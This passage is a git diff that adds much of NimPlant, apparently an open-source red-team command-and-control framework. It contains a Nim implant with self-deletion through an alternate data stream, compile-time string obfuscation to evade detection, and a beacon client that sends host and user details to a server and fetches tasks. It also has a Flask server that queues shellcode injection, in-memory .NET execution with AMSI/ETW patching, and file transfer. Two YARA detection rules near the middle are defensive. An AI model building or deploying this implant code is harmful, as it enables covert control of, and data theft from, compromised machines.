DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) + +proc dsRenameHandle(hHandle: HANDLE): WINBOOL = + let DS_STREAM_RENAME = newWideCString(obf(":msrpcsv")) + + var fRename : FILE_RENAME_INFO + RtlSecureZeroMemory(addr fRename, sizeof(fRename)) + + var lpwStream : LPWSTR = cast[LPWSTR](DS_STREAM_RENAME[0].unsafeaddr) + fRename.FileNameLength = sizeof(lpwStream).DWORD; + RtlCopyMemory(addr fRename.FileName, lpwStream, sizeof(lpwStream)) + + return SetFileInformationByHandle(hHandle, 3, addr fRename, sizeof(fRename) + sizeof(lpwStream)) # fileRenameInfo* = 3 + +proc dsDepositeHandle(hHandle: HANDLE): WINBOOL = + var fDelete : FILE_DISPOSITION_INFO + RtlSecureZeroMemory(addr fDelete, sizeof(fDelete)) + + fDelete.DeleteFile = TRUE; + + return SetFileInformationByHandle(hHandle, 4, addr fDelete, sizeof(fDelete).cint) # fileDispositionInfo* = 4 + +proc selfDelete*(): void = + var + wcPath : array[MAX_PATH + 1, WCHAR] + hCurrent : HANDLE + + RtlSecureZeroMemory(addr wcPath[0], sizeof(wcPath)); + + if GetModuleFileNameW(0, addr wcPath[0], MAX_PATH) == 0: + when defined verbose: + echo obf("DEBUG: Failed to get the current module handle") + quit(QuitFailure) + + hCurrent = dsOpenHandle(addr wcPath[0]) + if hCurrent == INVALID_HANDLE_VALUE: + when defined verbose: + echo obf("DEBUG: Failed to acquire handle to current running process") + quit(QuitFailure) + + when defined verbose: + echo obf("DEBUG: Attempting to rename file name") + + if not dsRenameHandle(hCurrent).bool: + when defined verbose: + echo obf("DEBUG: Failed to rename to stream") + quit(QuitFailure) + + when defined verbose: + echo obf("DEBUG: Successfully renamed file primary :$DATA ADS to specified stream, closing initial handle") + + CloseHandle(hCurrent) + + hCurrent = dsOpenHandle(addr wcPath[0]) + if hCurrent == INVALID_HANDLE_VALUE: + when defined verbose: + echo obf("DEBUG: Failed to reopen current module") + quit(QuitFailure) + + if not dsDepositeHandle(hCurrent).bool: + when defined verbose: + echo obf("DEBUG: Failed to set delete deposition") + quit(QuitFailure) + + when defined verbose: + echo obf("DEBUG: Closing handle to trigger deletion deposition") + + CloseHandle(hCurrent) + + if not PathFileExistsW(addr wcPath[0]).bool: + when defined verbose: + echo obf("DEBUG: File deleted successfully") \ No newline at end of file diff --git a/client/util/strenc.nim b/client/util/strenc.nim new file mode 100644 index 0000000..3154509 --- /dev/null +++ b/client/util/strenc.nim @@ -0,0 +1,24 @@ +import macros, hashes + +# Automatically obfuscate static strings in binary +type + dstring = distinct string + +proc calculate*(s: dstring, key: int): string {.noinline.} = + var k = key + result = string(s) + for i in 0 ..< result.len: + for f in [0, 8, 16, 24]: + result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) + k = k +% 1 + +var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF + +macro obf*(s: untyped): untyped = + if len($s) < 1000: + var encodedStr = calculate(dstring($s), eCtr) + result = quote do: + calculate(dstring(`encodedStr`), `eCtr`) + eCtr = (eCtr *% 16777619) and 0x7FFFFFFF + else: + result = s \ No newline at end of file diff --git a/client/util/webClient.nim b/client/util/webClient.nim new file mode 100644 index 0000000..20c51ae --- /dev/null +++ b/client/util/webClient.nim @@ -0,0 +1,169 @@ +import base64, json, puppy +from strutils import split, toLowerAscii, replace +from unicode import toLower +from os import parseCmdLine +import crypto +import strenc + +# Define the object with listener properties +type + Listener* = object + id* : string + initialized* : bool + registered* : bool + listenerType* : string + listenerHost* : string + listenerIp* : string + listenerPort* : string + registerPath* : string + sleepTime* : int + sleepJitter* : float + killDate* : string + taskPath* : string + resultPath* : string + userAgent* : string + cryptKey* : string + +# HTTP request function +proc doRequest(li : Listener, path : string, postKey : string = "", postValue : string = "") : Response = + try: + # Determine target: Either "TYPE://HOST:PORT" or "TYPE://HOSTNAME" + var target : string = toLowerAscii(li.listenerType) & "://" + if li.listenerHost != "": + target = target & li.listenerHost + else: + target = target & li.listenerIp & ":" & li.listenerPort + target = target & path + + # GET request + if (postKey == "" or postValue == ""): + var headers: seq[Header] + + # Only send ID header once listener is registered + if li.id != "": + headers = @[ + Header(key: "X-Identifier", value: li.id), + Header(key: "User-Agent", value: li.userAgent) + ] + else: + headers = @[ + Header(key: "User-Agent", value: li.userAgent) + ] + + let req = Request( + url: parseUrl(target), + verb: "get", + headers: headers, + allowAnyHttpsCertificate: true, + ) + + return fetch(req) + + # POST request + else: + let req = Request( + url: parseUrl(target), + verb: "post", + headers: @[ + Header(key: "X-Identifier", value: li.id), + Header(key: "User-Agent", value: li.userAgent), + Header(key: "Content-Type", value: "application/json") + ], + allowAnyHttpsCertificate: true, + body: "{\"" & postKey & "\":\"" & postValue & "\"}" + ) + return fetch(req) + + except: + # Return a fictive error response to handle + var errResponse = Response() + errResponse.code = 500 + return errResponse + +# Init NimPlant ID and cryptographic key via GET request to the registration path +# XOR-decrypt transmitted key with static value for initial exchange +proc init*(li: var Listener) : void = + # Allow us to re-write the static XOR key used for pre-crypto operations + const xor_key {.intdefine.}: int = 459457925 + + var res = doRequest(li, li.registerPath) + if res.code == 200: + li.id = parseJson(res.body)["id"].getStr() + li.cryptKey = xorString(base64.decode(parseJson(res.body)["k"].getStr()), xor_key) + li.initialized = true + else: + li.initialized = false + +# Initial registration function, including key init +proc postRegisterRequest*(li : var Listener, ipAddrInt : string, username : string, hostname : string, osBuild : string, pid : int, pname : string, riskyMode : bool) : void = + # Once key is known, send a second request to register nimplant with initial info + var data = %* + [ + { + "i": ipAddrInt, + "u": username, + "h": hostname, + "o": osBuild, + "p": pid, + "P": pname, + "r": riskyMode + } + ] + var dataStr = ($data)[1..^2] + let res = doRequest(li, li.registerPath, "data", encryptData(dataStr, li.cryptKey)) + + if (res.code != 200): + # Error at this point means XOR key mismatch, abort + li.registered = false + else: + li.registered = true + +# Watch for queued commands via GET request to the task path +proc getQueuedCommand*(li : Listener) : (string, string, seq[string]) = + var + res = doRequest(li, li.taskPath) + cmdGuid : string + cmd : string + args : seq[string] + + # A connection error occurred, likely team server has gone down or restart + if res.code != 200: + cmd = obf("NIMPLANT_CONNECTION_ERROR") + + when defined verbose: + echo obf("DEBUG: Connection error, got status code: "), res.code + + # Otherwise, parse task and arguments (if any) + else: + try: + # Attempt to parse task (parseJson() needs string literal... sigh) + var responseData = decryptData(parseJson(res.body)["t"].getStr(), li.cryptKey).replace("\'", "\"") + var parsedResponseData = parseJson(responseData) + + # Get the task and task GUID from the response + var task = parsedResponseData["task"].getStr() + cmdGuid = parsedResponseData["guid"].getStr() + + try: + # Arguments are included with the task + cmd = task.split(' ', 1)[0].toLower() + args = parseCmdLine(task.split(' ', 1)[1]) + except: + # There are no arguments + cmd = task.split(' ', 1)[0].toLower() + except: + # No task has been returned + cmdGuid = "" + cmd = "" + + result = (cmdGuid, cmd, args) + +# Return command results via POST request to the result path +proc postCommandResults*(li : Listener, cmdGuid : string, output : string) : void = + var data = obf("{\"guid\": \"") & cmdGuid & obf("\", \"result\":\"") & base64.encode(output) & obf("\"}") + discard doRequest(li, li.resultPath, "data", encryptData(data, li.cryptKey)) + +# Announce that the kill timer has expired +proc killSelf*(li : Listener) : void = + if li.initialized: + postCommandResults(li, "", obf("NIMPLANT_KILL_TIMER_EXPIRED")) \ No newline at end of file diff --git a/client/util/winUtils.nim b/client/util/winUtils.nim new file mode 100644 index 0000000..b3305bb --- /dev/null +++ b/client/util/winUtils.nim @@ -0,0 +1,58 @@ +from nativesockets import getHostName, gethostbyname +from os import getCurrentProcessId, splitPath, getAppFilename +import winlean +import ../commands/whoami +import strenc + +# https://github.com/nim-lang/Nim/issues/11481 +type + USHORT = uint16 + WCHAR = distinct int16 + UCHAR = uint8 + NTSTATUS = int32 + +type OSVersionInfoExW {.importc: obf("OSVERSIONINFOEXW"), header: obf("").} = object + dwOSVersionInfoSize: ULONG + dwMajorVersion: ULONG + dwMinorVersion: ULONG + dwBuildNumber: ULONG + dwPlatformId: ULONG + szCSDVersion: array[128, WCHAR] + wServicePackMajor: USHORT + wServicePackMinor: USHORT + wSuiteMask: USHORT + wProductType: UCHAR + wReserved: UCHAR + +# Import the rtlGetVersion API from NTDll +proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS + {.cdecl, importc: obf("RtlGetVersion"), dynlib: obf("ntdll.dll").} + +# Get Windows build based on rtlGetVersion +proc getWindowsVersion*() : string = + var + versionInfo: OSVersionInfoExW + + discard rtlGetVersion(versionInfo) + var vInfo = obf("Windows ") & $versionInfo.dwMajorVersion & obf(" build ") & $versionInfo.dwBuildNumber + result = vInfo + +# Get the username +proc getUsername*() : string = + result = whoami() + +# Get the hostname +proc getHost*() : string = + result = getHostName() + +# Get the internal IP +proc getIntIp*() : string = + result = $gethostbyname(getHost()).addrList[0] + +# Get the current process ID +proc getProcId*() : int = + result = getCurrentProcessId() + +# Get the current process name +proc getProcName*() : string = + splitPath(getAppFilename()).tail \ No newline at end of file diff --git a/config.toml.example b/config.toml.example new file mode 100644 index 0000000..045f381 --- /dev/null +++ b/config.toml.example @@ -0,0 +1,43 @@ +# NIMPLANT CONFIGURATION + +[server] +# Configure the API for the C2 server here. Recommended to keep at 127.0.0.1, change IP to 0.0.0.0 to listen on all interfaces. +ip = "127.0.0.1" +# Configure port for the web interface of the C2 server, including API +port = 31337 + +[listener] +# Configure listener type (HTTP or HTTPS) +type = "HTTP" +# Certificate and key path used for 'HTTPS" listener type +sslCertPath = "" +sslKeyPath = "" +# Configure the hostname for NimPlant to connect to +# Leave as "" for IP:PORT-based connections +hostname = "" +# Configure listener IP, mandatory even if hostname is specified +ip = "0.0.0.0" +# Configure listener port, mandatory even if hostname is specified +port = 80 +# Configure the URI paths used for C2 communications +registerPath = "/register" +taskPath = "/task" +resultPath = "/result" + +[nimplant] +# Allow risky commands such as 'execute-assembly', 'powershell', or 'shinject' - operator discretion advised +riskyMode = true +# Enable Ekko sleep mask instead of a regular sleep() call +# Only available for (self-deleting) executables, not for DLL or shellcode +sleepMask = false +# Configure the default sleep time in seconds +sleepTime = 10 +# Configure the default sleep jitter in % +sleepJitter = 0 +# Configure the kill date for Nimplants (format: yyyy-MM-dd) +# Nimplants will exit if this date has passed +killDate = "2050-12-31" +# Configure the user-agent that NimPlants use to connect +# Also used by the server to verify NimPlant traffic +# Choosing an inconspicuous but uncommon user-agent is therefore recommended +userAgent = "NimPlant C2 Client" \ No newline at end of file diff --git a/detection/hktl_nimplant.yar b/detection/hktl_nimplant.yar new file mode 100644 index 0000000..c6f541e --- /dev/null +++ b/detection/hktl_nimplant.yar @@ -0,0 +1,32 @@ + +rule HKTL_NimPlant_Jan23_1 { + meta: + description = "Detects Nimplant C2 implants (simple rule)" + author = "Florian Roth" + reference = "https://github.com/chvancooten/NimPlant" + date = "2023-01-30" + score = 85 + hash1 = "3410755c6e83913c2cbf36f4e8e2475e8a9ba60dd6b8a3d25f2f1aaf7c06f0d4" + hash2 = "b810a41c9bfb435fe237f969bfa83b245bb4a1956509761aacc4bd7ef88acea9" + hash3 = "c9e48ba9b034e0f2043e13f950dd5b12903a4006155d6b5a456877822f9432f2" + hash4 = "f70a3d43ae3e079ca062010e803a11d0dcc7dd2afb8466497b3e8582a70be02d" + strings: + $x1 = "NimPlant.dll" ascii fullword + $x2 = "NimPlant v" ascii + + $a1 = "base64.nim" ascii fullword + $a2 = "zippy.nim" ascii fullword + $a3 = "whoami.nim" ascii fullword + + $sa1 = "getLocalAdm" ascii fullword + $sa2 = "getAv" ascii fullword + $sa3 = "getPositionImpl" ascii fullword + condition: + ( + 1 of ($x*) and 2 of ($a*) + ) + or ( + all of ($a*) and all of ($s*) + ) + or 5 of them +} diff --git a/detection/nimplant_detection.yar b/detection/nimplant_detection.yar new file mode 100644 index 0000000..0d538f9 --- /dev/null +++ b/detection/nimplant_detection.yar @@ -0,0 +1,29 @@ +import "pe" + +rule nimplant_detection +{ + meta: + description = "Detects on-disk and in-memory artifacts of NimPlant C2 implants" + author = "NVIDIA Security Team" + date = "02/03/2023" + + strings: + $s1="BeaconGetSpawnTo" + $s2="BeaconInjectProcess" + $s3="Cannot enumerate antivirus." + + $r1=/(X\-Identifier\:\s)[a-zA-Z0-9]{8}\r\n.*NimPlant.*\r\n.*gzip/ + $r2=/(X\-Identifier\:\s)[a-zA-Z0-9]{8}\r\n.*C2 Client\r\n.*gzip/ + + $oep = { 48 83 EC ( 28 48 8B 05 | 48 48 8B 05 ) [17] ( FC FF FF 90 90 48 83 C4 28 | C4 48 E9 91 FE FF FF 90 4C ) } + $t1 = "parsetoml.nim" + $t2 = "zippy.nim" + $t3 = "gzip.nim" + $t4 = "deflate.nim" + $t5 = "inflate.nim" + + condition: + (($oep at pe.entry_point or $oep) and 4 of ($t1,$t2,$t3,$t4,$t5)) + or (any of ($s*) and any of ($r*)) + or any of ($r*) +} \ No newline at end of file diff --git a/server/__init__.py b/server/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/server/api/__init__.py b/server/api/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/server/api/server.py b/server/api/server.py new file mode 100644 index 0000000..e846d89 --- /dev/null +++ b/server/api/server.py @@ -0,0 +1,190 @@ +from ..util.commands import getCommands, handleCommand +from ..util.config import config +from ..util.crypto import randString +from ..util.func import exitServer +from ..util.nimplant import np_server + +from flask_cors import CORS +from gevent.pywsgi import WSGIServer +from server.util.db import * +from threading import Thread +from werkzeug.utils import secure_filename +import flask +import os + +# Parse server configuration +server_ip = config["server"]["ip"] +server_port = config["server"]["port"] + +# Initiate flask app +app = flask.Flask( + __name__, + static_url_path="", + static_folder="../web/static", + template_folder="../web", +) +app.secret_key = randString(32) + +# Define the API server +def api_server(): + # Get available commands + @app.route("/api/commands", methods=["GET"]) + def get_commands(): + return flask.jsonify(getCommands()), 200 + + # Get download information + @app.route("/api/downloads", methods=["GET"]) + def get_downloads(): + try: + downloadsPath = os.path.abspath(f"server/downloads/server-{np_server.guid}") + res = [] + with os.scandir(downloadsPath) as downloads: + for download in downloads: + if download.is_dir(): + continue + + res.append( + { + "name": download.name, + "size": download.stat().st_size, + "lastmodified": download.stat().st_mtime, + } + ) + res = sorted(res, key=lambda x: x["lastmodified"], reverse=True) + return flask.jsonify(res), 200 + except FileNotFoundError: + return flask.jsonify([]), 404 + + # Download a file from the downloads folder + @app.route("/api/downloads/", methods=["GET"]) + def get_download(filename): + try: + downloadsPath = os.path.abspath(f"server/downloads/server-{np_server.guid}") + return flask.send_from_directory( + downloadsPath, filename, as_attachment=True + ) + except FileNotFoundError: + return flask.jsonify("File not found"), 404 + + # Get server configuration + @app.route("/api/server", methods=["GET"]) + def get_server_info(): + return flask.jsonify(dbGetServerInfo(np_server.guid)), 200 + + # Get the last X lines of console history + @app.route("/api/server/console", methods=["GET"]) + @app.route("/api/server/console/", methods=["GET"]) + @app.route("/api/server/console//", methods=["GET"]) + def get_server_console(lines="1000", offset="0"): + # Process input as string and check if valid + if not lines.isnumeric() or not offset.isnumeric(): + return flask.jsonify("Invalid parameters"), 400 + + return flask.jsonify(dbGetServerConsole(np_server.guid, lines, offset)), 200 + + # Exit the server + @app.route("/api/server/exit", methods=["POST"]) + def post_exit_server(): + Thread(target=exitServer).start() + return flask.jsonify("Exiting server..."), 200 + + # Upload a file to the server's "uploads" folder + @app.route("/api/upload", methods=["POST"]) + def post_upload(): + upload_path = os.path.abspath(f"server/uploads/server-{np_server.guid}") + + if "file" not in flask.request.files: + return flask.jsonify("No file part"), 400 + + file = flask.request.files["file"] + if file.filename == "": + return flask.jsonify("No file selected"), 400 + + if file: + os.makedirs(upload_path, exist_ok=True) + filename = secure_filename(file.filename) + full_path = os.path.join(upload_path, filename) + file.save(full_path) + return flask.jsonify({"result": "File uploaded", "path": full_path}), 200 + else: + return flask.jsonify("File upload failed"), 400 + + # Get all active nimplants with basic information + @app.route("/api/nimplants", methods=["GET"]) + def get_nimplants(): + return flask.jsonify(dbGetNimplantInfo(np_server.guid)), 200 + + # Get a specific nimplant with its details + @app.route("/api/nimplants/", methods=["GET"]) + def get_nimplant(guid): + if np_server.getNimplantByGuid(guid): + return flask.jsonify(dbGetNimplantDetails(guid)), 200 + else: + return flask.jsonify("Invalid Nimplant GUID"), 404 + + # Get the last X lines of console history for a specific nimplant + @app.route("/api/nimplants//console", methods=["GET"]) + @app.route("/api/nimplants//console/", methods=["GET"]) + @app.route("/api/nimplants//console//", methods=["GET"]) + def get_nimplant_console(guid, lines="1000", offset="0"): + # Process input as string and check if valid + if not lines.isnumeric() or not offset.isnumeric(): + return flask.jsonify("Invalid parameters"), 400 + + if np_server.getNimplantByGuid(guid): + return flask.jsonify(dbGetNimplantConsole(guid, lines, offset)), 200 + else: + return flask.jsonify("Invalid Nimplant GUID"), 404 + + # Issue a command to a specific nimplant + @app.route("/api/nimplants//command", methods=["POST"]) + def post_nimplant_command(guid): + np = np_server.getNimplantByGuid(guid) + data = flask.request.json + command = data["command"] + + if np and command: + handleCommand(command, np) + return flask.jsonify(f"Command queued: {command}"), 200 + else: + return flask.jsonify("Invalid Nimplant GUID or command"), 404 + + # Exit a specific nimplant + @app.route("/api/nimplants//exit", methods=["POST"]) + def post_nimplant_exit(guid): + np = np_server.getNimplantByGuid(guid) + + if np: + handleCommand("kill", np) + return flask.jsonify("Instructed Nimplant to exit"), 200 + else: + return flask.jsonify("Invalid Nimplant GUID"), 404 + + @app.route("/") + @app.route("/index") + def home(): + return flask.render_template("index.html") + + @app.route("/server") + def server(): + return flask.render_template("server.html") + + @app.route("/nimplants") + def nimplants(): + return flask.render_template("nimplants.html") + + @app.route("/nimplants/details") + def nimplantdetails(): + return flask.render_template("nimplants/details.html") + + @app.route("/") + def catch_all(path): + return flask.render_template("404.html") + + @app.errorhandler(Exception) + def all_exception_handler(error): + return flask.jsonify(status=f"Server error: {error}"), 500 + + CORS(app, resources={r"/*": {"origins": "*"}}) + http_server = WSGIServer((server_ip, server_port), app, log=None) + http_server.serve_forever() diff --git a/server/requirements.txt b/server/requirements.txt new file mode 100644 index 0000000..a4595b6 --- /dev/null +++ b/server/requirements.txt @@ -0,0 +1,12 @@ +cryptography==39.0.0 +flask_cors==3.0.10 +Flask==2.2.2 +gevent==22.10.2 +itsdangerous==2.1.2 +Jinja2==3.1.2 +prompt_toolkit==3.0.36; sys_platform=="win32" +PyCryptoDome==3.16.0 +pyyaml==6.0 +requests==2.28.1 +toml==0.10.2 +werkzeug==2.2.2 \ No newline at end of file diff --git a/server/server.py b/server/server.py new file mode 100644 index 0000000..df62c1b --- /dev/null +++ b/server/server.py @@ -0,0 +1,66 @@ +#!/usr/bin/python3 + +# ----- +# +# NimPlant Server - The "C2-ish"™ handler for the NimPlant payload +# By Cas van Cooten (@chvancooten) +# +# ----- + +import threading +import time + +from .api.server import api_server, server_ip, server_port +from .util.db import initDb, dbInitNewServer, dbPreviousServerSameConfig +from .util.func import nimplantPrint, periodicNimplantChecks +from .util.listener import * +from .util.nimplant import * +from .util.input import * + + +def main(xor_key=459457925, name=""): + # Initialize the SQLite database + initDb() + + # Restore the previous server session if config remains unchanged + # Otherwise, initialize a new server session + if dbPreviousServerSameConfig(np_server, xor_key): + nimplantPrint("Existing server session found, restoring...") + np_server.restoreServerFromDb() + else: + np_server.initNewServer(name, xor_key) + dbInitNewServer(np_server) + + # Start daemonized Flask server for API communications + t1 = threading.Thread(name="Listener", target=api_server) + t1.setDaemon(True) + t1.start() + nimplantPrint(f"Started management server on http://{server_ip}:{server_port}.") + + # Start another thread for NimPlant listener + t2 = threading.Thread(name="Listener", target=flaskListener, args=(xor_key,)) + t2.setDaemon(True) + t2.start() + nimplantPrint( + f"Started NimPlant listener on {listenerType.lower()}://{listenerIp}:{listenerPort}. CTRL-C to cancel waiting for NimPlants." + ) + + # Start another thread to periodically check if nimplants checked in on time + t3 = threading.Thread(name="Listener", target=periodicNimplantChecks) + t3.setDaemon(True) + t3.start() + + # Run the console as the main thread + while True: + try: + if np_server.isActiveNimplantSelected(): + promptUserForCommand() + elif np_server.containsActiveNimplants(): + np_server.selectNextActiveNimplant() + else: + pass + + time.sleep(0.5) + + except KeyboardInterrupt: + exitServerConsole() diff --git a/server/util/__init__.py b/server/util/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/server/util/commands.py b/server/util/commands.py new file mode 100644 index 0000000..d17dfb4 --- /dev/null +++ b/server/util/commands.py @@ -0,0 +1,160 @@ +from .func import log, nimplantPrint +from .nimplant import np_server +from yaml.loader import FullLoader +import shlex +import yaml + + +def getCommands(): + with open("server/util/commands.yaml", "r") as f: + return sorted(yaml.load(f, Loader=FullLoader), key=lambda c: c["command"]) + + +def getCommandList(): + return [c["command"] for c in getCommands()] + + +def getRiskyCommandList(): + return [c["command"] for c in getCommands() if c["risky_command"]] + + +def handleCommand(raw_command, np=None): + if np == None: + np = np_server.getActiveNimplant() + + log(f"NimPlant {np.id} $ > {raw_command}", np.guid) + + try: + args = shlex.split(raw_command.replace("\\", "\\\\")) + cmd = raw_command.lower().split(" ")[0] + nimplantCmds = [cmd.lower() for cmd in getCommandList()] + + # Handle commands + if cmd == "": + pass + + elif cmd in getRiskyCommandList() and not np.riskyMode: + msg = ( + f"Uh oh, you compiled this Nimplant in safe mode and '{cmd}' is considered to be a risky command.\n" + "Please enable 'riskyMode' in 'config.toml' and re-compile Nimplant!" + ) + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "cancel": + np.cancelAllTasks() + nimplantPrint( + f"All tasks cancelled for Nimplant {np.id}.", np.guid, raw_command + ) + + elif cmd == "clear": + from .func import cls + + cls() + + elif cmd == "getpid": + msg = f"NimPlant PID is {np.pid}" + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "getprocname": + msg = f"NimPlant is running inside of {np.pname}" + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "help": + if len(args) == 2: + from .func import getCommandHelp + + msg = getCommandHelp(args[1]) + else: + from .func import getHelpMenu + + msg = getHelpMenu() + + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "hostname": + msg = f"NimPlant hostname is: {np.hostname}" + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "ipconfig": + msg = f"NimPlant external IP address is: {np.ipAddrExt}\n" + msg += f"NimPlant internal IP address is: {np.ipAddrInt}" + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "list": + msg = np_server.getInfo() + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "listall": + msg = np_server.getInfo(all=True) + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "nimplant": + msg = np.getInfo() + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "osbuild": + msg = f"NimPlant OS build is: {np.osBuild}" + nimplantPrint(msg, np.guid, raw_command) + + elif cmd == "select": + if len(args) == 2: + np_server.selectNimplant(args[1]) + else: + nimplantPrint( + "Invalid argument length. Usage: 'select [NimPlant ID]'.", + np.guid, + raw_command, + ) + + elif cmd == "exit": + from .func import exitServerConsole + + exitServerConsole() + + elif cmd == "upload": + from .func import uploadFile + + uploadFile(np, args, raw_command) + + elif cmd == "download": + from .func import downloadFile + + downloadFile(np, args, raw_command) + + elif cmd == "execute-assembly": + from .func import executeAssembly + + executeAssembly(np, args, raw_command) + + elif cmd == "inline-execute": + from .func import inlineExecute + + inlineExecute(np, args, raw_command) + + elif cmd == "shinject": + from .func import shinject + + shinject(np, args, raw_command) + + elif cmd == "powershell": + from .func import powershell + + powershell(np, args, raw_command) + + # Handle commands that do not need any server-side handling + elif cmd in nimplantCmds: + guid = np.addTask(raw_command) + nimplantPrint(f"Staged command '{raw_command}'.", np.guid, taskGuid=guid) + else: + nimplantPrint( + f"Unknown command. Enter 'help' to get a list of commands.", + np.guid, + raw_command, + ) + + except Exception as e: + nimplantPrint( + f"An unexpected exception occurred when handling command: {repr(e)}", + np.guid, + raw_command, + ) diff --git a/server/util/commands.yaml b/server/util/commands.yaml new file mode 100644 index 0000000..7bcba74 --- /dev/null +++ b/server/util/commands.yaml @@ -0,0 +1,459 @@ + # Server commands - will be handled without interaction with NimPlant + - command: cancel + server_command: True + risky_command: False + gui_command: False + description: "Cancel all pending tasks." + help: | + Takes no arguments. + + Cancel will cancel all queued tasks. Any tasks that are currently running will not be affected. + + - command: clear + server_command: True + risky_command: False + gui_command: False + description: "Clear the screen." + help: | + Takes no arguments. + + Will clear the screen (console mode only). + + - command: getpid + server_command: True + risky_command: False + gui_command: False + description: "Show process ID of the currently selected NimPlant." + help: | + Takes no arguments. + + Will show the process ID of the currently selected NimPlant. Does not interact with NimPlant. + + - command: getprocname + server_command: True + risky_command: False + gui_command: False + description: "Show process name of the currently selected NimPlant." + help: | + Takes no arguments. + + Will show the process name of the currently selected NimPlant. Does not interact with NimPlant. + + - command: help + server_command: True + risky_command: False + gui_command: False + description: " Show this help menu or command-specific help." + help: | + Takes an optional argument indicating the command to show extended help for. + + Shows the help menu or command-specific help. + If no command is specified, the help menu will be shown. + If a command is specified, extended help for that command will be shown. + But I guess you already figured that out since you're reading this :) + + - command: hostname + server_command: True + risky_command: False + gui_command: False + description: "Show hostname of the currently selected NimPlant." + help: | + Takes no arguments. + + Will show the hostname of the currently selected NimPlant. Does not interact with NimPlant. + + - command: ipconfig + server_command: True + risky_command: False + gui_command: False + description: "List IP address information of the currently selected NimPlant." + help: | + Takes no arguments. + + Will show the IP address configuration of the currently selected NimPlant. Does not interact with NimPlant. + + - command: list + server_command: True + risky_command: False + gui_command: False + description: "Show list of active NimPlants." + help: | + Takes no arguments. + + Will show a list of all NimPlants that are currently active. Mostly useful in console mode. + + - command: listall + server_command: True + risky_command: False + gui_command: False + description: "Show list of all NimPlants." + help: | + Takes no arguments. + + Will show a list of all NimPlants, including inactive ones. Mostly useful in console mode. + + - command: nimplant + server_command: True + risky_command: False + gui_command: False + description: "Show info about the currently selected NimPlant." + help: | + Takes no arguments. + + Will show all known information about the currently selected NimPlant. Does not interact with NimPlant. + + - command: osbuild + server_command: True + risky_command: False + gui_command: False + description: "Show operating system build information for the currently selected NimPlant." + help: | + Takes no arguments. + + Will show the operating system build information for the currently selected NimPlant. Does not interact with NimPlant. + + - command: select + server_command: True + risky_command: False + gui_command: False + description: "[id] Select another NimPlant." + help: | + Takes the target NimPlant's ID as an argument. + + Will select the NimPlant with the specified ID (from the 'list' command) as the currently selected NimPlant. + This is only useful in console mode. + + - command: exit + server_command: True + risky_command: False + gui_command: False + description: "Exit the server, killing all NimPlants." + help: | + Takes no arguments. + + Will gracefully exit the server. + + CAUTION: Will send a kill signal to ALL ACTIVE NIMPLANTS! + +# NimPlant commands - will be handled by NimPlant + - command: cat + server_command: False + risky_command: False + gui_command: False + description: "[filename] Print a file's contents to the screen." + help: | + Takes a file path on the target system as an argument. + + Will print the contents of the specified file to the screen. + + - command: cd + server_command: False + risky_command: False + gui_command: False + description: "[directory] Change the working directory." + help: | + Takes a directory path on the target system as an argument. + + Will change the working directory to the specified directory. + + - command: cp + server_command: False + risky_command: False + gui_command: False + description: "[source] [destination] Copy a file or directory." + help: | + Takes two arguments: a source and destination path (either a file or directory) on the target system. + + Will copy the specified source file or directory to the specified destination. + + + - command: curl + server_command: False + risky_command: False + gui_command: False + description: "[url] Get a webpage remotely and return the results." + help: | + Takes an URL as an argument. + + Will download the specified URL from the target system and return the results. + + - command: download + server_command: False + risky_command: False + gui_command: False + description: "[remotefilepath] Download a file from NimPlant's disk to the NimPlant server." + help: | + Takes a remote file path as an argument, and an optional local file path on the NimPlant server as a second argument. + If a local file path is specified, the downloaded file will be saved to that path on the NimPlant server. + If no local file path is specified, the downloaded file will be saved in 'server/downloads/server-[server-guid]', + where it will be accessible via the web GUI. + + Will download the specified file from the target system to the NimPlant server. + + - command: env + server_command: False + risky_command: False + gui_command: False + description: "Get environment variables." + help: Takes no arguments. Will return the environment variables for the NimPlant process. + + - command: execute-assembly + server_command: False + risky_command: True + gui_command: False + description: "(GUI) [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR." + help: | + [RISKY COMMAND, GUI COMMAND] + Takes two optional arguments to indicate whether or not AMSI and ETW should be patched (patched by default, unless already patched). + Additionally, takes a mandatory argument with the local file path to the .NET assembly to execute, + and optionally any arguments to pass to the assembly. + + This command executes a C# / .NET assembly binary. NimPlant will return the console output of the executed .NET assembly. + + Running a .NET assembly will load the Common Language Runtime (CLR) into the target process, be mindful of the OPSEC implications of this. + + - command: inline-execute + server_command: False + risky_command: True + gui_command: True + description: "(GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory." + help: | + [RISKY COMMAND, GUI COMMAND] + Takes a mandatory argument with the local file path to the BOF to execute, and a mandatory argument with the entrypoint of the BOF. + Optionally, takes any number of arguments to pass to the BOF. + Arguments are passed as argument-type pairs, where the type can be either of the following: + - 'string' (alias: 'z') + - 'wstring' (or 'Z') + - 'integer' (aliases: 'int' or 'i') + - 'short' ('s') + - 'binary' ('bin' or 'b') + + This command executes a Beacon Object File (BOF). NimPlant will return the console output of the executed BOF. + For more information and examples, refer to the NimPlant README file. + + CAUTION: BOFs are volatile by nature, and running a faulty BOF or passing wrong arguments or types WILL crash your NimPlant session! + Make sure to test BOFs before deploying! + + - command: getAv + server_command: False + risky_command: False + gui_command: False + description: "List Antivirus / EDR products on target using WMI." + help: | + Takes no arguments. + + Lists any registered Antivirus and/or EDR products on the target using WMI. + + - command: getDom + server_command: False + risky_command: False + gui_command: False + description: "Get the domain the target is joined to." + help: | + Takes no arguments. + + Will return the domain the target is joined to via the 'GetComputerNameEx' Windows API. + + - command: getLocalAdm + server_command: False + risky_command: False + gui_command: False + description: "List local administrators on the target using 